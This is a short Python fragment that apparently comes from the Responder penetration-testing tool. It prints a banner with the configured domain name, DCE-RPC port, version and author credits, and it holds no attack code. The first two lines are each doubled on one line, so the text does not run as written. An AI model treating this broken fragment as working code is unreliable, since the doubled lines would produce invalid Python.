print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1)) print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1))
print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1)) print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1))
#credits
print('')
print(color("[*] ", 2, 1)+"Version: "+settings.__version__)
print(color("[*] ", 2, 1)+"Author: Laurent Gaffie, <lgaffie@secorizon.com>")